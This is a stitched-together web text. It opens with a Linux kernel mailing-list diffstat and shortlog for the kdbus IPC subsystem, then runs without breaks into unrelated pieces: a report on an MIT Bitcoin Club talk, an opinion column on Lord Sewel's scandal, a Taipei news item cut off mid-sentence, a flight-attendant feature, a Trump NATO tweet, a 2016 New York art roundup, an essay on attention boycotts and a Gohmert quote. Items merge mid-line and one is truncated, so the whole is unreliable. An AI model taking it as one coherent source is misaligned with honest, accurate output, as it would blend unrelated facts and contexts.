pool implementation kdbus: add connection, queue handling and message validation code kdbus: add node and filesystem implementation kdbus: add code to gather metadata kdbus: add code for notifications and matches kdbus: add code for buses, domains and endpoints kdbus: add name registry implementation kdbus: add policy database implementation kdbus: add Makefile, Kconfig and MAINTAINERS entry kdbus: add walk-through user space example kdbus: add selftests Documentation: kdbus: fix location for generated files kdbus: connection: fix handling of failed fget() kdbus: Fix CONFIG_KDBUS help text samples: kdbus: build kdbus-workers conditionally David Herrmann (5): kdbus: samples/kdbus: add -lrt samples/kdbus: drop wrong include Documentation/kdbus: fix out-of-tree builds Documentation/kdbus: support quiet builds selftests/kdbus: fix gitignore Lucas De Marchi (1): kdbus: fix header guard name Lukasz Skalski (1): Documentation/kdbus: replace'reply_cookie' with 'cookie_reply' Nicolas Iooss (1): kdbus: fix minor typo in the walk-through example Sergei Zviagintsev (5): kdbus: uapi: Fix kernel-doc for enum kdbus_send_flags Documentation: kdbus: Fix list of KDBUS_CMD_ENDPOINT_UPDATE errors Documentation: kdbus: Update list of ioctls which cause writing to receiver's pool Documentation: kdbus: Fix description of KDBUS_SEND_SYNC_REPLY flag Documentation: kdbus: Fix typos Tyler Baker (1): selftest/kdbus: enable cross compilation Documentation/Makefile | 2 +- Documentation/ioctl/ioctl-number.txt | 1 + Documentation/kdbus/.gitignore | 2 + Documentation/kdbus/Makefile | 40 + Documentation/kdbus/kdbus.bus.xml | 359 ++++ Documentation/kdbus/kdbus.connection.xml | 1250 ++++++++++++ Documentation/kdbus/kdbus.endpoint.xml | 429 ++++ Documentation/kdbus/kdbus.fs.xml | 124 ++ Documentation/kdbus/kdbus.item.xml | 839 ++++++++ Documentation/kdbus/kdbus.match.xml | 555 ++++++ Documentation/kdbus/kdbus.message.xml | 1276 ++++++++++++ Documentation/kdbus/kdbus.name.xml | 711 +++++++ Documentation/kdbus/kdbus.policy.xml | 406 ++++ Documentation/kdbus/kdbus.pool.xml | 326 +++ Documentation/kdbus/kdbus.xml | 1012 ++++++++++ Documentation/kdbus/stylesheet.xsl | 16 + MAINTAINERS | 13 + Makefile | 1 + include/uapi/linux/Kbuild | 1 + include/uapi/linux/kdbus.h | 979 +++++++++ include/uapi/linux/magic.h | 2 + init/Kconfig | 13 + ipc/Makefile | 2 +- ipc/kdbus/Makefile | 22 + ipc/kdbus/bus.c | 560 ++++++ ipc/kdbus/bus.h | 101 + ipc/kdbus/connection.c | 2214 +++++++++++++++++++++ ipc/kdbus/connection.h | 257 +++ ipc/kdbus/domain.c | 296 +++ ipc/kdbus/domain.h | 77 + ipc/kdbus/endpoint.c | 275 +++ ipc/kdbus/endpoint.h | 67 + ipc/kdbus/fs.c | 510 +++++ ipc/kdbus/fs.h | 28 + ipc/kdbus/handle.c | 617 ++++++ ipc/kdbus/handle.h | 85 + ipc/kdbus/item.c | 339 ++++ ipc/kdbus/item.h | 64 + ipc/kdbus/limits.h | 64 + ipc/kdbus/main.c | 125 ++ ipc/kdbus/match.c | 559 ++++++ ipc/kdbus/match.h | 35 + ipc/kdbus/message.c | 616 ++++++ ipc/kdbus/message.h | 133 ++ ipc/kdbus/metadata.c | 1159 +++++++++++ ipc/kdbus/metadata.h | 57 + ipc/kdbus/names.c | 772 +++++++ ipc/kdbus/names.h | 74 + ipc/kdbus/node.c | 910 +++++++++ ipc/kdbus/node.h | 84 + ipc/kdbus/notify.c | 248 +++ ipc/kdbus/notify.h | 30 + ipc/kdbus/policy.c | 489 +++++ ipc/kdbus/policy.h | 51 + ipc/kdbus/pool.c | 728 +++++++ ipc/kdbus/pool.h | 46 + ipc/kdbus/queue.c | 678 +++++++ ipc/kdbus/queue.h | 92 + ipc/kdbus/reply.c | 257 +++ ipc/kdbus/reply.h | 68 + ipc/kdbus/util.c | 201 ++ ipc/kdbus/util.h | 74 + samples/Kconfig | 7 + samples/Makefile | 3 +- samples/kdbus/.gitignore | 1 + samples/kdbus/Makefile | 9 + samples/kdbus/kdbus-api.h | 114 ++ samples/kdbus/kdbus-workers.c | 1326 ++++++++++++ tools/testing/selftests/Makefile | 1 + tools/testing/selftests/kdbus/.gitignore | 1 + tools/testing/selftests/kdbus/Makefile | 48 + tools/testing/selftests/kdbus/kdbus-enum.c | 94 + tools/testing/selftests/kdbus/kdbus-enum.h | 14 + tools/testing/selftests/kdbus/kdbus-test.c | 923 +++++++++ tools/testing/selftests/kdbus/kdbus-test.h | 85 + tools/testing/selftests/kdbus/kdbus-util.c | 1615 +++++++++++++++ tools/testing/selftests/kdbus/kdbus-util.h | 222 +++ tools/testing/selftests/kdbus/test-activator.c | 318 +++ tools/testing/selftests/kdbus/test-attach-flags.c | 750 +++++++ tools/testing/selftests/kdbus/test-benchmark.c | 451 +++++ tools/testing/selftests/kdbus/test-bus.c | 175 ++ tools/testing/selftests/kdbus/test-chat.c | 122 ++ tools/testing/selftests/kdbus/test-connection.c | 616 ++++++ tools/testing/selftests/kdbus/test-daemon.c | 65 + tools/testing/selftests/kdbus/test-endpoint.c | 341 ++++ tools/testing/selftests/kdbus/test-fd.c | 789 ++++++++ tools/testing/selftests/kdbus/test-free.c | 64 + tools/testing/selftests/kdbus/test-match.c | 441 ++++ tools/testing/selftests/kdbus/test-message.c | 731 +++++++ tools/testing/selftests/kdbus/test-metadata-ns.c | 506 +++++ tools/testing/selftests/kdbus/test-monitor.c | 176 ++ tools/testing/selftests/kdbus/test-names.c | 194 ++ tools/testing/selftests/kdbus/test-policy-ns.c | 632 ++++++ tools/testing/selftests/kdbus/test-policy-priv.c | 1269 ++++++++++++ tools/testing/selftests/kdbus/test-policy.c | 80 + tools/testing/selftests/kdbus/test-sync.c | 369 ++++ tools/testing/selftests/kdbus/test-timeout.c | 99 + 97 files changed, 34069 insertions(+), 3 deletions(-) create mode 100644 Documentation/kdbus/.gitignore create mode 100644 Documentation/kdbus/Makefile create mode 100644 Documentation/kdbus/kdbus.bus.xml create mode 100644 Documentation/kdbus/kdbus.connection.xml create mode 100644 Documentation/kdbus/kdbus.endpoint.xml create mode 100644 Documentation/kdbus/kdbus.fs.xml create mode 100644 Documentation/kdbus/kdbus.item.xml create mode 100644 Documentation/kdbus/kdbus.match.xml create mode 100644 Documentation/kdbus/kdbus.message.xml create mode 100644 Documentation/kdbus/kdbus.name.xml create mode 100644 Documentation/kdbus/kdbus.policy.xml create mode 100644 Documentation/kdbus/kdbus.pool.xml create mode 100644 Documentation/kdbus/kdbus.xml create mode 100644 Documentation/kdbus/stylesheet.xsl create mode 100644 include/uapi/linux/kdbus.h create mode 100644 ipc/kdbus/Makefile create mode 100644 ipc/kdbus/bus.c create mode 100644 ipc/kdbus/bus.h create mode 100644 ipc/kdbus/connection.c create mode 100644 ipc/kdbus/connection.h create mode 100644 ipc/kdbus/domain.c create mode 100644 ipc/kdbus/domain.h create mode 100644 ipc/kdbus/endpoint.c create mode 100644 ipc/kdbus/endpoint.h create mode 100644 ipc/kdbus/fs.c create mode 100644 ipc/kdbus/fs.h create mode 100644 ipc/kdbus/handle.c create mode 100644 ipc/kdbus/handle.h create mode 100644 ipc/kdbus/item.c create mode 100644 ipc/kdbus/item.h create mode 100644 ipc/kdbus/limits.h create mode 100644 ipc/kdbus/main.c create mode 100644 ipc/kdbus/match.c create mode 100644 ipc/kdbus/match.h create mode 100644 ipc/kdbus/message.c create mode 100644 ipc/kdbus/message.h create mode 100644 ipc/kdbus/metadata.c create mode 100644 ipc/kdbus/metadata.h create mode 100644 ipc/kdbus/names.c create mode 100644 ipc/kdbus/names.h create mode 100644 ipc/kdbus/node.c create mode 100644 ipc/kdbus/node.h create mode 100644 ipc/kdbus/notify.c create mode 100644 ipc/kdbus/notify.h create mode 100644 ipc/kdbus/policy.c create mode 100644 ipc/kdbus/policy.h create mode 100644 ipc/kdbus/pool.c create mode 100644 ipc/kdbus/pool.h create mode 100644 ipc/kdbus/queue.c create mode 100644 ipc/kdbus/queue.h create mode 100644 ipc/kdbus/reply.c create mode 100644 ipc/kdbus/reply.h create mode 100644 ipc/kdbus/util.c create mode 100644 ipc/kdbus/util.h create mode 100644 samples/kdbus/.gitignore create mode 100644 samples/kdbus/Makefile create mode 100644 samples/kdbus/kdbus-api.h create mode 100644 samples/kdbus/kdbus-workers.c create mode 100644 tools/testing/selftests/kdbus/.gitignore create mode 100644 tools/testing/selftests/kdbus/Makefile create mode 100644 tools/testing/selftests/kdbus/kdbus-enum.c create mode 100644 tools/testing/selftests/kdbus/kdbus-enum.h create mode 100644 tools/testing/selftests/kdbus/kdbus-test.c create mode 100644 tools/testing/selftests/kdbus/kdbus-test.h create mode 100644 tools/testing/selftests/kdbus/kdbus-util.c create mode 100644 tools/testing/selftests/kdbus/kdbus-util.h create mode 100644 tools/testing/selftests/kdbus/test-activator.c create mode 100644 tools/testing/selftests/kdbus/test-attach-flags.c create mode 100644 tools/testing/selftests/kdbus/test-benchmark.c create mode 100644 tools/testing/selftests/kdbus/test-bus.c create mode 100644 tools/testing/selftests/kdbus/test-chat.c create mode 100644 tools/testing/selftests/kdbus/test-connection.c create mode 100644 tools/testing/selftests/kdbus/test-daemon.c create mode 100644 tools/testing/selftests/kdbus/test-endpoint.c create mode 100644 tools/testing/selftests/kdbus/test-fd.c create mode 100644 tools/testing/selftests/kdbus/test-free.c create mode 100644 tools/testing/selftests/kdbus/test-match.c create mode 100644 tools/testing/selftests/kdbus/test-message.c create mode 100644 tools/testing/selftests/kdbus/test-metadata-ns.c create mode 100644 tools/testing/selftests/kdbus/test-monitor.c create mode 100644 tools/testing/selftests/kdbus/test-names.c create mode 100644 tools/testing/selftests/kdbus/test-policy-ns.c create mode 100644 tools/testing/selftests/kdbus/test-policy-priv.c create mode 100644 tools/testing/selftests/kdbus/test-policy.c create mode 100644 tools/testing/selftests/kdbus/test-sync.c create mode 100644 tools/testing/selftests/kdbus/test-timeout.c -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@xxxxxxxxxxxxxxx More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/On 11th February, more than 200 students crammed into a 125-person lecture hall at the Massachusetts Institute of Technology (MIT) to listen to entrepreneur Jeremy Allaire speak about bitcoin.
It was standing room only as the Circle founder and CEO informed the crowd of his background, his company and his passion for the fledgling industry for nearly 90 minutes.
Although the MIT Bitcoin Club was only officially recognized by the university on 1st January, it is already one of the largest student-run cryptocurrency groups in the country.
Full circle
Dan Elitzer, the club’s president, was stunned by demand for the group’s first event, in which nearly 300 students ultimately registered. Elitzer had initially booked a room for 60, but after selling out in a matter of hours, he and his team scrambled to find a larger venue.
Even after reserving the largest available room on campus, the club was forced to turn away dozens of disappointed students after every seat, stair and standing room area became occupied nearly 30 minutes before Allaire began his presentation:
“This is our first event, and we are blown away by the amazing response. The idea to bring in Jeremy as our first speaker came up several weeks ago during a planning session. While we thought it might be a big ask to have him present on such short notice, it only took a five-minute conversation to get him excited to visit.”
Enthusiasts vs skeptics
An informal poll of the audience revealed nearly 20 students who said they were actively working on bitcoin-related projects, and an even split between students who considered themselves enthusiasts and skeptics.
Several attendees credited Allaire with piquing their interest in the event. One computer science undergraduate said:
“I’m not sure that I believe the hype around bitcoin just yet, but Mr Allaire is a tech pioneer and has been the CEO of a successful public company. I wanted to hear his point of view and learn more.”
Indeed, all attendees had a chance to learn about the broader bitcoin ecosystem as Allaire fielded a wide range of questions regarding bitcoin’s regulatory environment, competitive threats and price volatility.
He also spoke at length about the potential for distributed public ledgers to spawn innovations other than currency, such as decentralized asset exchanges.
Future plans
While the Circle team were characteristically tight-lipped about their product plans, Allaire did say that his company intends to derive revenues from both consumer wallet services and merchant tools, and suggested that its revenue model will be similar to that of San Francisco-based wallet provider Coinbase.
When asked how the company would differentiate from Coinbase, Circle’s co-founder Sean Neville simply said, “The devil is in the details.”
Josh Hawkins, a VP of marketing at Circle, said he was excited to have had the opportunity to sponsor the event. Hawkins stated that his team’s investment in campus evangelism was motivated by both a need to support and educate the broader bitcoin community, and an interest in recruiting talent from top engineering schools like MIT and Harvard.
Allaire agreed. “Everyone always talks about Stanford and Silicon Valley,” he said. “But there’s no reason that MIT and Boston can’t lead the charge for bitcoin.”
They sure are off to a good start.
Ryan Galt is a blogger, entrepreneur and freelance opinion writer for CoinDesk. His opinions do not necessarily reflect CoinDesk’s. You may email him at [email protected], or follow him on twitter @twobitidiot.The strange salmon-coloured bra is actually the least of it. I don’t care at all if a Lord wears one under his ermine – this weekend’s scandal concerning John Buttifant Sewel is actually a financial issue dressed up as a sexual one.
It has the elements of the classic sting: alleged cocaine use, “call girls”, “romps” and a married peer who turns over the picture of his wife before starting his “sex games”. He slags off every one from David Cameron (“the most facile superficial prime minister”) to Alex Salmond (“a silly pompous prat”).
Sewel's punishment in Lords may be delayed for a year Read more
Sewel resigned last night from his role enforcing standards and conduct in the Lords – a role in which he wrote about breaches of the membership code and the need for sanctions against those who break them. He has noted that ”no system of regulation can be perfect” and that the small number of peers who misbehave should be punished.
It is fairly astonishing, in this context, to hear Sewel referred to as a victim of any kind, let alone of the regime he recommended. So will he now be expelled from the Lords?
He paid women in prostitution for their services in a grace and favour flat in Dolphin Square for which he pays £1,000 a month instead of the going rate of nearly £3,000. This man’s “private life” is subsidised to the hilt by the taxpayer, and that is what really sticks in the craw. That, and his comments about Asian women. He asks if there will be any “nice little young Asian women” at the party, before adding, “they sort of look innocent but you know they are whores”. As he was the guy in the Lords responsible for making sure that his colleagues, his fellow public servants, behaved properly, the notion of “double standards” covers him much less impressively than that unfortunate bra. His awful moaning to the women who charged him £200 a night about how he can’t get by on a Lords allowance of £200 a day is the worst element of the whole scandal. “I do spend it on wine and different things,” he remarked.
Is there any real question that he should remain in the House? That he should not be expelled?
In reality the allowance for peers is £300 a day, though it does not apply to Sewel. He is paid £120,000 a year, made up of his salary for his part-time work chairing committees in the Lords (£84,525) and his allowance of £36,000 for maintaining a home in London. He complains that he is struggling, and when one of the women asks if his £200 allowance pays for his lunch, he replies: “It’s not lunch luvvie darling, it’s paying for this”. Wow. Is there any real question that he should remain in the House? That he should not be expelled? He certainly can’t be put back in charge of the conduct committee, or appointed to any others. His behaviour and his sense of entitlement have clearly prospered in the context of the Lords. This is six-figure scrounging.
He actually accuses one of the women of stealing as he whinges about using a £5 note, apparently to snort coke, as the £10 ones disappear. How cheap can you get?
It’s this, not the flashing of women’s underwear, that is really shocking – a glimpse of his sense of utter entitlement both to the bodies of women, and to the public money he uses to pay for them.Taipei, June 27 (CNA) More than 100 people at a recreational water park in New Taipei were injured and rushed to the hospital after a main stage at the park caught |
Is there a less-enviable, more-stressful occupation these days than that of a flight attendant? Just the look on their faces as they walk down the aisle — telling passengers that no matter how many times they try to squeeze them in, their suitcases are not going to fit into the overhead bin, or explaining yet again that they will not get a single morsel of decent food on this three-hour flight — tells you all you need to know of their misery.
It was a feeling that was reinforced when I glanced at an Internet chat board for flight attendants, airlinecrew.net, and came across postings like this: “I’ve been a flight attendant for 6yrs now, and I can tell you this much - if I’m still a flight attendant in 20yrs, I’ll be a raging b*tch!”
It wasn’t always this way, of course. Back in 1967, the best-selling book “Coffee, Tea or Me?” (subtitled “The Uninhibited Memoirs of Two Airline Stewardesses”) portrayed life in the air as a nonstop party, one to which the authors felt privileged to be invited. Another 60s artifact, the play “ Boeing, Boeing,” recently revived on Broadway in a Tony Award -winning production, also pictured the life of stewardesses (as they were called then) as a glamorous romp, with suitors in every port. Most recently, the fictional ad executives on “Mad Men” were thrilled when they were asked to compete for an airline account, not only because of the business it would bring in but also because they would be in on the casting sessions for the stewardesses and would get to fly free. Oh, such fun!
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It’s a fair bet that nothing about air travel today would inspire such rapture.
In fact, the flight attendants I spent time with on my three flights took a grimly realistic view of their jobs, aware that temper flare-ups — “People just get nasty,” said Jane Marshall — are in some ways an understandable reaction to the process that passengers themselves have to endure in trying to get from one place to another. “After they’ve been harassed by security, we’re the ones they see,” said Debbie Nicks, explaining why a minor inconvenience, like being told that there are no more headsets, might send someone into a fit. “Your shining personality only goes so far,” added Jane.
Certainly the one lesson I learned quickly — along with how to cross-check the doors and that Dansko clogs are the footwear of choice among experienced flight attendants — was how to say “no” politely. No to the young Indian man who asked for a blanket for his mother who was shivering in her sari next to him. (There were none left.) No to the hungry passenger who wanted to purchase a cookie. (We had already sold the only two stocked for the flight.) No to the guy who, like many of his fellow passengers, was concerned he wouldn’t make his connecting flight because of our late departure and pleaded, “Can you call and find out?” (Sorry, but here’s the customer service number you can try when we land.)
I also got a crash course in stress management.
My return flight out of La Guardia was as packed as the morning one out of Dallas, and the passengers were even crankier. The plane was supposed to take off at 4:25 p.m., but at 5, passengers were still boarding, with many already anxious about whether they would make their connecting flights.
Meanwhile, two commuting flight attendants came aboard to ride in the jump seats. Jennifer Villavicencio, 35, a mother of two from Maryland, had been up since 5 a.m. working a four-leg trip — New York to Chicago, Chicago to St. Louis, St. Louis to Chicago, Chicago to New York. As a newer flight attendant on “reserve,” she largely works on call. She spends days at a time away from her children, sometimes leaving them with her mother in Dallas, while she works out of New York. In between shifts, Jennifer shares a four-bedroom crash pad in Queens with other flight attendants. She sleeps in a so-called hot bed, bringing her own sheets and grabbing whichever of the 26 bunks is available when she arrives.
“I like the top bunk,” she said, “because you can sit up all the way.”
Our chat was interrupted by some news from the gate agent: The plane might be shifted to another runway. “Oh, good, more drama,” said Anna, explaining to me what was about to happen. “When it’s midsummer and it’s hot, and the runways are short, you can’t have a certain heaviness or you can’t take off. Because we’re switching runways they’re going to put a weight restriction on and they’re going to pull people off because of the weight.”
Jennifer sprang to attention. As a commuter, she knew her seat would be among the first to go if the flight was deemed too heavy for the new runway. She began counting the number of children onboard, a factor that could immediately minimize the weight issue, if there were enough of them. Thankfully, there were 11 — enough to save other passengers from being taken off.
At 5:49 p.m., the plane finally took off, more than an hour late.
I had been told that working first class was harder than coach, and so I joined Debbie at the front of the plane. When I arrived, Debbie had already taken down the passengers’ drink orders, her neat handwriting listing 3A - BMary, B - RW, E -Vodka tonic, etc., on a pink cheat sheet posted on a cabinet. She warned me that Passenger 4B, a heavy-set young man with an iPod, was already proving to be a handful. He had taken some sort of painkiller for a bandaged wrist when he boarded, immediately followed by a Jack and Coke, followed by a Heineken, and now wanted a glass of wine, not in one of those standard-issue wine glasses, but in a fat cocktail glass instead.
I recalled what one flight attendant had told me when I asked about what they do when it looks like a passenger is having too much to drink: Water it down. In coach, where travelers mix the drinks themselves, some attendants invent their own rules — “I can only sell you one drink an hour.”
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First class was intimidating. And I, frankly, wasn’t much help, finding all I was really qualified to do was hand out and collect the hot towels. Debbie, however, performed a series of in-flight culinary maneuvers so demanding it inspired a challenge on the Bravo television series “Top Chef”: Prepare an edible, multicourse meal, mid-air, in a narrow hallway, between two ovens at 275 degrees and a hot coffee maker.
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As the flight wore on, Passenger 4B finally dozed off; dessert was served and the flight attendants became weary. Jennifer, who wasn’t even on duty, had taken pity on a mother with a screaming child and was walking him up and down the aisle on her hip. Later, she would occupy a toddler by letting him hold the other end of the trash bag as she collected garbage from passengers.
The flight arrived in Dallas at 8:02 p.m., 52 minutes late. Debbie, Jane and Anna would be paid for the actual flight time of roughly eight hours for the two legs of the round-trip journey. They would also receive a per diem of $1.50 for every hour they were away on the trip. (For certain delays, American said its flight attendants receive an extra $15 per hour, pro-rated to the actual time, minus a 30-minute grace period.)
Flight attendants’ schedules are often wrecked by delays and as the airline industry went into its steep downturn after the Sept. 11 terrorist attacks in 2001, many airline workers took significant pay cuts and reduced benefits in order to help the carriers stay in business.
There are roughly 100,000 flight attendants in the United States, according to the Association of Flight Attendants, down from about 125,000 in 2000. Depending on the airline, attendants earn between 7 and 20 percent less today than before 9/11, according to the association. The average flight attendant salary today is around $33,500 a year.
There are already fewer attendants working each flight. Most carriers now go by the minimum number required by the Federal Aviation Administration — one flight attendant per every 50 passengers. And though the benefits, like free flights for your entire family, still exist on paper, they are hard to claim as airlines continue to pack planes full of paying passengers. In other words, it’s not much fun anymore.
Certainly, it’s a far cry from the “Coffee, Tea or Me” years.
“Who would have thought, after 30 years, that we’d be a flying 7-Eleven,” Becky Gilbert, a three-decade veteran of the industry told me during a break in our training session in Fort Worth. “You know, I mean we used to serve omelets and crepes for breakfast, and now it’s ‘Would you like to buy stackable chips or a big chocolate chip cookie for $3?’ ”
When Anna, Jane and Debbie became flight attendants more than 20 years ago, tedious chores, like collecting passenger trash, were offset by the perks and quasi-celebrity status that came with the job. “When you walked down the terminal, all the people would look at you,” said Jane, between bites of pizza on a lunch break at La Guardia, her back turned to a group of travelers paying no mind to her navy blue suit, her gold wings or the black roller bag by her side.
“People used to,” continued Debbie, a well-groomed flight attendant with cropped gray hair and gold accessories who can finish Jane’s sentences after 23 years of flying together. “What girl didn’t want to be a stewardess?”
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“It was the layover in the old days that made it glamorous,” Anna explained. “You worked one leg to San Diego and you were sitting on a beach, margarita in your hand, and you were going, ‘I’m getting paid to sit here.’ That was the old days. Now, we’re like crawling into bed thinking, ‘I hope my alarm goes off.’ ”
Luckily, the next morning at 4, mine did. Running on no more than five hours of sleep and no coffee, as the hotel takeout stand had yet to open, I caught the five o’clock hotel shuttle to the airport. After stumbling through security I arrived at the gate, an hour before departure, as required — bleary-eyed and beat. When I met the crew I would be working with, a jovial bunch who often fly together, I warned them that I might be useless.
They could empathize. David Macdonald, 51, an American flight attendant for 28 years, was on his fourth straight day of flying. Elaine Sweeney, 55, who has worked for American for 30 years, was on her third day. And Tim Rankin, 56, a 32-year veteran, was on his third flight in 24 hours.
Standing in the aisle of the cramped MD-80, Elaine assured me that the passengers, mostly business travelers, would be relatively well-behaved. “It’s so early on this one,” she said, “that usually half of them go to sleep.”
As with the flight attendants I worked with earlier, my new companions described their job as being one where they constantly had to calibrate the mood of the passengers. “Over a typical month,” said Tim, “I will be a teacher, I will be a pastor, I will be a counselor, I will be a mediator.” As he slid his 5-foot-11-inch frame into the sliver of space between the cockpit and the first-class bathroom, he slumped into the jump seat and let out a barely audible sigh. “I’ll have to tell people that a two-and-a-half-foot-deep bag will not fit in a one-and-a-half-foot hole,” he said.
“People need to understand that the rules of social order do not go away when you get on an airplane,” Tim added, his Texan twang kicking up a notch as he laid down his commandments. “You cannot have sex on an airplane. When you purchase a ticket, that does not give you the privilege of yelling at me. It does not give you the privilege of sitting anywhere you want to sit. They assign you a seat. I do not have an extra airplane in my pocket if my flight’s delayed.”
Elaine chimed in, “We joke that people check their brain when they board.”
When we landed in New York at 11:04 a.m., I was wiped. Standing for the majority of the flight, which included a brief bout of turbulence, had unsettled my stomach and caused me to lose my appetite. My feet hurt. I had lost all feeling in my pinkie toes.
Before we disembarked, Tim, in a touching gesture, ceremoniously gave me his gold wings. I then dragged myself through the terminal, past a throng of restless passengers gathered around the gate, anxiously waiting to board the plane.
I was glad I was heading home.President Donald Trump says Germany owes "vast sums of money" to NATO and the U.S. "must be paid more" for providing defense.
In a tweet from his Florida resort, where he is spending the weekend, Trump wrote that he had a "GREAT" meeting with German Chancellor Angela Merkel, despite reports to the contrary.
But he reiterated his stance that Germany needs to meet its end of the bargain if it is to continue benefiting from the military alliance.
Trump wrote, "Despite what you have heard from the FAKE NEWS, I had a GREAT meeting with German Chancellor Angela Merkel."
He added, "Nevertheless, Germany owes... vast sums of money to NATO & the United States must be paid more for the powerful, and very expensive, defense it provides to Germany!"New York City is a place where expressions are plentiful, a visual history courses through the galleries, museums, and studios. Here are some of our aesthetic highlights from 2016.
Vincent Smith: Seventies New York (Alexandre Gallery, January 7th – April 9th)
A cohesive show of six oil and sand paintings and one woodcut on paper depicts the psychological oppression of the projects with brutal honesty. This dominant perception was heightened by the roughness of built up sand on the canvas and the stark red and black color scheme. The coarseness of the overall picture plane is also indicated in the figures themselves, who were almost entirely isolated in darkness or imprisoned.
Jean Dubuffet “Anticultural Positions” (Acquavella Gallery April 15th – June 10th) and Dubuffet Drawings, 1935-1962 (The Morgan Library & Museum September 30, 2016 through January 2, 2017)
Dubuffet like Vincent Smith worked with unconventional materials and created imagery that was at times extremely distorted but somehow exceedingly attractive. His portraits and nudes have a magical depth of character brought about by their curious simplicity. The playful side to Jean Dubuffet could use any means of expression to create vibrant, arresting imagery.
David Hammons: Five Decades (Mnuchin Gallery, March 15th – May 27th)
The ironic drift of David Hammons’ work fit awkwardly in an upper east side gallery. For an artist who famously sold snowballs on the streets of the Bowery the clash of interior and purpose was undeniable. It was rumored at the last-minute the artist re hung some of the his survey here probably to make a point or to upset the order of things. This is what Hammons does best, refutes certain conditions, at times refusing to do any art at all as a response to where we are now, the commodity art market. Hammons remains a true New York artist with a vision and intellect that reflects the city’s glaring dichotomies. It was almost like a protest, the microphones screaming silence.
New York based artist Tony Matelli (b. 1971) has had a wonderful year, taking part in MoMA PS 1 Greater New York, a solo at the Aldrich Museum and a High Line’s group exhibition Wanderlust. Matelli’s realistic sculptures have playful sense humor, looking at art and culture winkingly. The insertion of “Sleepwalker” (2014) on the High Line’s mixed bag exhibit caused a bit of row with certain parties thinking the a middle-aged man in his underwear might be an affront to passer-by. It became a crowd pleaser. “Human Echo” (2002) a sculpture of a chimpanzee in an Apple t-shirt vomiting on Marlborough Gallery’s wall in a fall exhibition perfectly summed up the present crisis we face in art and humanity.
No one has more available resources for a blockbuster gallery show than Gagosian. “Nude From Modigliani to Currin” was a fascinating journey of how artists reflect the human form from modernism to present day. The distortion was palpable. Amazing to see the movement away from beauty towards dehumanization and the grotesque. Nothing is more redolent than how we choose to depict our selves.
Nicole Eisenmen’s two brilliant exhibitions at the New Museum, “Al-ugh-ories” May 5th – June 26th and a show of large-scale new works at Anton Kern May 19 – June 25, 2016 distinguished her intellect and prominent skills. Eisenmen is a special painter with a sharp mind bent on describing her story with rare honesty. With a wonderful wit the artist is able to pinpoint body and identity in the technological age.
The two survey of Kai Althoff and Francis Picabia on the 6th floor of the Museum of Modern Art is a match made in heaven: Two kindred spirits investigating form and stretching its articulation. Both artists charge the senses with ingenuity, a frenetic search through the means of expression where no thought or perception in left unturned. Their disregard for convention is not like Duchamp’s grand and shocking statements but rather a steady defiance of institutional standard through boundless creativity. “Whatever there be of progress in life comes not through adaptation but through daring.” – Henry Miller.
Maria Hassabi’s PLASTIC (Museum of Modern Art February 21st – March 20th) was the ideal performance of 2016. The slowed down choreographed intervention on the staircase and atrium of MoMA produced a confounding feeling in today’s almost manic ‘museum’ as opportunity for selfie or Disney attraction. A necessary transference of more subtle emotional qualities and careful reading lacking in our fast paced technological age.
Nan Goldin The Ballad of Sexual Dependency, (Museum of Modern Art June 11th – February 12th, 2017)
Goldin’s personal visual diary of snapshots of friends and family stand out with terrible potency in the fantasy digital realm we all live in today. The strength of which comes from a shared understanding in the way the person behind the camera has affection for the one in front, providing a sense of repose when true selves emerge.
Met Breuer Renovation
Architecture is the mother of all art and represents the strongest visual history of any city. The Met’s loving restoration of Marcel Breuer’s 1966 modernist masterpiece on Madison Avenue was in concert with the great architect’s original vision. The restoration led by the New York City firm Beyer Blinder Belle, who have a long history of preserving architectural landmarks with the integrity they deserve. The building’s substance is all-consuming, inside and out, exhilarating in its neutrality. Every space holds something original and uplifting, lighting and aperture par excellence.
Julian Rosefeldt and Cate Blanchett, Manifesto (Park Avenue Armory December 7, 2016 – January 8th, 2017)
There is no better way to enter 2017, a year of massive pendulum swing, then with Manifesto: A brilliantly crafted cinematic reflection on the history of artists’ rhetorical assumptions. Cate Blanchett performs 12 incredible roles proclaiming male dominated declarations with wry humor and a modern twist. Displacement perfectly pitched.
-JSBBut while the motivations may be similar, the Internet distorts the traditional dynamics of the boycott in two important ways.
For one, the choice to refuse to buy sweatshop-produced goods influences demand: people avoiding giving an unethical actor money for their products. In contrast, the boycott of attention influences supply: People refuse to give platforms the raw material that they can in turn sell to advertisers for money.
This fact matters because it places the protestor on the wrong side of the Internet business equation, where advertisers are far outnumbered by the number of ldquo;eyeballs” they bid for. The loss of an average user matters such a minuscule amount financially that the importance of the boycott narrows to being symbolic and personal, rather than striking directly at a bottom line.
Secondly, making attention the unit of valuable, measurable inventory makes the nature of a boycott complicated in a way that doesn’t come up when refusing to hand over hard currency for a product.
For example, one might never engage with racist activity on a platform like Reddit, and might indeed even use the same platform to protest against this kind of activity. However, the very fact of being a user increases the overall stock of attention commanded by a site, which in turn provides real money to the very forum that facilitates the behavior some users otherwise oppose. In contrast to a world where a boycott only requires that an individual stop buying from a given company, an attention boycott forecloses nearly any activity having to do with the site being challenged.
So, what does it mean to be a conscientious consumer in such an economy? Is it even sensible to try to surmount these challenges?
Two recent high-profile examples show the shape of an emerging notion of what we might call ethical attention. More than simply symbolic gestures, the refusal to link or click actually expresses a deeper vision of the role norms play in the evolution of the Internet, and more importantly, new ethical expectations for individuals and platforms on the web.
* * *
First, a representative example. Last month, the editorial team of Gawker made the choice to publish a story which exposed the alleged attempt by a CFO of a prominent magazine company to hire a gay porn star for sex. Glenn Greenwald of The Intercept chimed in soon after to pick apart the justifications that Gawker’s editorial leadership provided for the decision to publish.
Greenwald’s piece also provides an explicit refusal to provide any links to the controversial post. As he wrote simply, “I don’t want to reward them or contribute in any way to this disgrace by linking to it: Google it if you must.”
This is just one prominent example, rather than something entirely new. Many others followed a similar path in refusing to link to the Gawker story. Refusals to link come up relatively frequently, and in all sorts of other contexts, too.This week on the “The Lars Larson Show,” while discussing a Florida mailman landing a gyrocopter on the U.S. Capitol lawn, Rep. Louie Gohmert (R-TX) said the incident shows the Department of Homeland Security is so busy with President Barack Obama’s executive order amnesty they are not capable of protecting the U.S. Capitol.
Gohmert said, “It ought to scare people because Homeland Security is so overwhelmed in trying to bring on and ship around illegal aliens and give amnesty to as many people as they can, the millions we are told that will ultimately have this amnesty, that they can’t do something as simple as protect the Untied States Capitol.
